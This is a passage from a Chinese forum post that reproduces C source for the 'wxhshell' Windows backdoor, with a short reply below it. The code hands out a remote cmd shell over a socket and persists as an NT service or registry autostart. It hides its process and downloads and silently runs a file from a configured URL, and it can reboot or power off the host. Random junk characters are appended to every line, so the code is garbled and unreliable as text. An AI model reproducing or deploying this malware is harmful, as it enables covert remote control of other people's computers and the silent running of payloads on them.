  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~1wt=Ln>  
  } rSJ!vQo Cb  
  else { t:fz%IOe  
fJc(  
    switch(cmd[0]) { O8A1200  
  f(D'qV T{  
  // 帮助 uH%b rbrU  
  case '?': { PR:B6 F8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A+* lV*@0  
    break; L,y q=%h|  
  } 8xgBNQdPT  
  // 安装 jc Mn   
  case 'i': { o?>0WSLlm  
    if(Install()) XNJZ~Mowb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m[v0mXE  
    else klT?h[I!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `D~oY=  
    break; f^B8!EY#:  
    } &|GH@^)@  
  // 卸载 M=pQx$%a  
  case 'r': { S W%>8  
    if(Uninstall()) bXF8V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+dCA  
    else =JzzrM|V*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Dq-q6-@t  
    break; q| 1%G Nb  
    } Q!@M/@-Ky  
  // 显示 wxhshell 所在路径 E2>{ seZ  
  case 'p': { K?' m#}]  
    char svExeFile[MAX_PATH]; =+MF@ 4  
    strcpy(svExeFile,"\n\r"); -^CW}IM{ I  
      strcat(svExeFile,ExeFile); M1-tRF  
        send(wsh,svExeFile,strlen(svExeFile),0); sPvs}}Z]P  
    break; 2[+.* Ef  
    } !<:Cd(bM  
  // 重启 XKky-LeJ  
  case 'b': { %"Um8`]FVg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P(k*SB|D  
    if(Boot(REBOOT)) p;}`PW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $`3yImv+w  
    else { h@$SJe(hl  
    closesocket(wsh); ^7aqe*|vm  
    ExitThread(0); *P=3Pl?j  
    } n!/0yR2S  
    break; Ba m.B6-  
    } :a;F3NJ  
  // 关机 @e3+Gs  
  case 'd': { O~V^]   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q< q IT  
    if(Boot(SHUTDOWN)) yO%^[c?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?m]vk|>  
    else { JT0j2_*Rr  
    closesocket(wsh); XYWyxx5`  
    ExitThread(0); $J4\jIipL  
    } w gS'/  
    break; z Fm`e:td  
    } V_J0I*Qa4  
  // 获取shell &!X<F,  
  case 's': { _F6<ba}o3  
    CmdShell(wsh); / e>%yq<9B  
    closesocket(wsh); D=z~]a31!  
    ExitThread(0); Ip{R'HG/  
    break; k+ t(u]  
  } j;`Q82V\  
  // 退出 Hvk~BP' m  
  case 'x': { /ZV2f3;t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yHw @Z  
    CloseIt(wsh); m)p|NdTZc8  
    break; D}y W:Pi'  
    } 3xs<w7  
  // 离开 Lf5zHUH  
  case 'q': { i;^lh]u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +=E\sEe  
    closesocket(wsh); \KhcNr?ja=  
    WSACleanup(); Zo&i0%S\E  
    exit(1); i-v: %  
    break; ZcXAqep8'  
        } T4.wz 58  
  } C;m"W5+  
  } H^n@9U;[K  
 wkZwtq  
  // 提示信息 c%pf,sm'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $~FZJ@qa  
} Hj{.{V  
  } 8 8_ef7w  
hc q&`Gun  
  return; #b[bgxm  
} ]?=87w  
" 7^nRJy  
// shell模块句柄 p\ =T#lb  
int CmdShell(SOCKET sock) *xNc^ &.  
{ wx3_?8z/O  
STARTUPINFO si; 1}\p:`  
ZeroMemory(&si,sizeof(si)); 3Sfd|0^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ulsU~WW7r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8<Iq)A]'Z  
PROCESS_INFORMATION ProcessInfo; #8et91qw  
char cmdline[]="cmd"; `r1}:`.m,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }X{rE|@  
  return 0; %J-0%-/_S:  
} 5wVJ.B~s  
J;_4 3eS  
// 自身启动模式 AA=Ob$2$  
int StartFromService(void) D^ @@ P  
{ D{B?2}X  
typedef struct O ixqou  
{ 0R)x"4Ww  
  DWORD ExitStatus; p($vM^_<"  
  DWORD PebBaseAddress; HZ'rM5Kq  
  DWORD AffinityMask; F@Sk=l(  
  DWORD BasePriority; ZXb|3|D  
  ULONG UniqueProcessId; TbD  
  ULONG InheritedFromUniqueProcessId; fU|v[  
}   PROCESS_BASIC_INFORMATION; .S|7$_9;b  
P'8RaO&d  
PROCNTQSIP NtQueryInformationProcess; <CuUwv 'A  
iUcX\ uW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~4~r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iG54 +]  
*?t$Q|2Xr  
  HANDLE             hProcess; b+qd' ,.Z  
  PROCESS_BASIC_INFORMATION pbi; DehjV6t  
s_y8+BJaV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vcu@_N1Dc  
  if(NULL == hInst ) return 0; +w]#26`d  
Cik1~5iF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X,w X)9]J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }BC%(ZH6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [>v1JN  
Cqnuf5e>L  
  if (!NtQueryInformationProcess) return 0; yq ;[1O_9C  
1=J& ^O{W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e7GYz7  
  if(!hProcess) return 0; ?:$ q~[LY  
Kb+SssF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PI*@.kqR-  
MuD ? KK  
  CloseHandle(hProcess); 2ul8]=  
HU>>\t?d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )$S=iL8(  
if(hProcess==NULL) return 0; ![B|Nxq}@  
`$> Y  
HMODULE hMod; cS%dTrfo  
char procName[255]; tsg`c;{  
unsigned long cbNeeded; J*rYw5QB  
'/xynk%)xw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '=$`NG8 l  
f\oW<2k]~  
  CloseHandle(hProcess); mce qZv  
nRBS&&V  
if(strstr(procName,"services")) return 1; // 以服务启动 6,YoP|@0  
3 zh:~w_  
  return 0; // 注册表启动 7k*  
} kZG=C6a  
KE,.Evyu=  
// 主模块 D@&xj_#\}  
int StartWxhshell(LPSTR lpCmdLine) 7~P2q/2E>  
{ !nl-}P,  
  SOCKET wsl; %@C8EFl%3  
BOOL val=TRUE; ^Saf z8-3o  
  int port=0; *4 LS``  
  struct sockaddr_in door; *>W<n1r@]  
7T[$BrO\  
  if(wscfg.ws_autoins) Install(); |c0^7vrC  
fd *XK/h  
port=atoi(lpCmdLine); r =x"E$  
BO*)cLQ  
if(port<=0) port=wscfg.ws_port; Ua \f]y  
m OUO)[6y  
  WSADATA data; WOj}+?/3 R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }o:LwxNO  
"mBM<rEn*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KMi$0+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GwF8ze+cH  
  door.sin_family = AF_INET; [;ZCq!)>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s]99'Q",  
  door.sin_port = htons(port); sPQj B[  
h.K"v5I*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ew0)MZ.#  
closesocket(wsl); VLm\PS   
return 1; yJ!26  
} &UH0Tw4   
/(8"]f/  
  if(listen(wsl,2) == INVALID_SOCKET) { 8WV5'cX  
closesocket(wsl); 2?7ID~\  
return 1; K@=u F 1?  
} 9BZ B1o X  
  Wxhshell(wsl); X[.%[G|oj}  
  WSACleanup(); a k5D  
=aB+|E  
return 0; p+~Imf-Jk  
,Gv}N&  
} nZi&`HjQ  
"=DQ {(L  
// 以NT服务方式启动 WwsNAJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3\RD %[}  
{ ;O)*!yA(GG  
DWORD   status = 0; {,5 .svO  
  DWORD   specificError = 0xfffffff; R5e[cC8o.  
l/(~Kf9eQG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C<teZz8/w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fSd|6iFH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c&bhb[  
  serviceStatus.dwWin32ExitCode     = 0; <b"^\]l  
  serviceStatus.dwServiceSpecificExitCode = 0; jo&j<3i  
  serviceStatus.dwCheckPoint       = 0; KgM|:'  
  serviceStatus.dwWaitHint       = 0; .t[u_tBL  
T+T)~!{%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F1BvDplQ>G  
  if (hServiceStatusHandle==0) return; ]d(Z%  
Vq0X:<9  
status = GetLastError(); 95IP_1}?  
  if (status!=NO_ERROR) k(RKAFjY  
{ K@e2%hk9x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B ZU@W%E  
    serviceStatus.dwCheckPoint       = 0; +)yoQRekX  
    serviceStatus.dwWaitHint       = 0; {f/]K GGk  
    serviceStatus.dwWin32ExitCode     = status; %1p-DX6  
    serviceStatus.dwServiceSpecificExitCode = specificError; <m\Y$Wv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .BJoY <P*  
    return; 3(K.:376  
  } (L4llZ;q  
Vp; `!+z"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;5;>f)diS  
  serviceStatus.dwCheckPoint       = 0; 1.@{5f3T  
  serviceStatus.dwWaitHint       = 0; Eg1TF oIWl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ??e|ec2%  
} CC^]Y.9  
9LPXhxNwB  
// 处理NT服务事件,比如:启动、停止 >y8>OJ?A7-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &iu]M=Y b  
{ 4 ;_g9]  
switch(fdwControl) }ACg#;>/+  
{ H HX q_-V  
case SERVICE_CONTROL_STOP: qQ]fM$!  
  serviceStatus.dwWin32ExitCode = 0; ~m<K5K6 V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (t3gNin  
  serviceStatus.dwCheckPoint   = 0; H.iCYD_=  
  serviceStatus.dwWaitHint     = 0; > A@yF?  
  { f {2UL ?y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <v9IK$J  
  } wM[Z 0*K  
  return; 7R[7M%H  
case SERVICE_CONTROL_PAUSE: JtSwbdN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = LIb0TZ2  
  break; A?04,l]y  
case SERVICE_CONTROL_CONTINUE: G)YmaHeI;[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; - s'W^(  
  break; pvl];w  
case SERVICE_CONTROL_INTERROGATE: eXsp0!v  
  break; E8PwA.  
}; *MfH\X379  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'wFhfZB1!B  
} ?4wl  
c/.s`hz  
// 标准应用程序主函数 =#4>c8MM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %x,HQNRDU  
{ 1O,5bi>t7  
4E=QO!pVv  
// 获取操作系统版本 v B~VJKD  
OsIsNt=GetOsVer(); !oi {8X@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9ec?L  
ye(av&Hn  
  // 从命令行安装 %VB4/~ "  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ys_L GfK  
;~r-P$kCY  
  // 下载执行文件 4sSw7`  
if(wscfg.ws_downexe) { _l] 0V g`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m["e7>9G  
  WinExec(wscfg.ws_filenam,SW_HIDE); @$kzes\  
} a5m[ N'kah  
~Fo2MwE2~  
if(!OsIsNt) { #]^C(qmb:  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~G8l1dD  
HideProc(); s+_8U}R  
StartWxhshell(lpCmdLine); V%;dTCq  
} lmUCrs37  
else 5`&@3 m9/  
  if(StartFromService()) f'"PQr^9  
  // 以服务方式启动 /T  {R\  
  StartServiceCtrlDispatcher(DispatchTable); ~C>;0a;<:  
else `K@N\VM  
  // 普通方式启动 ' xaPahx;  
  StartWxhshell(lpCmdLine); I AUc.VH  
wAu]U6!  
return 0; M`Wk@t6>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八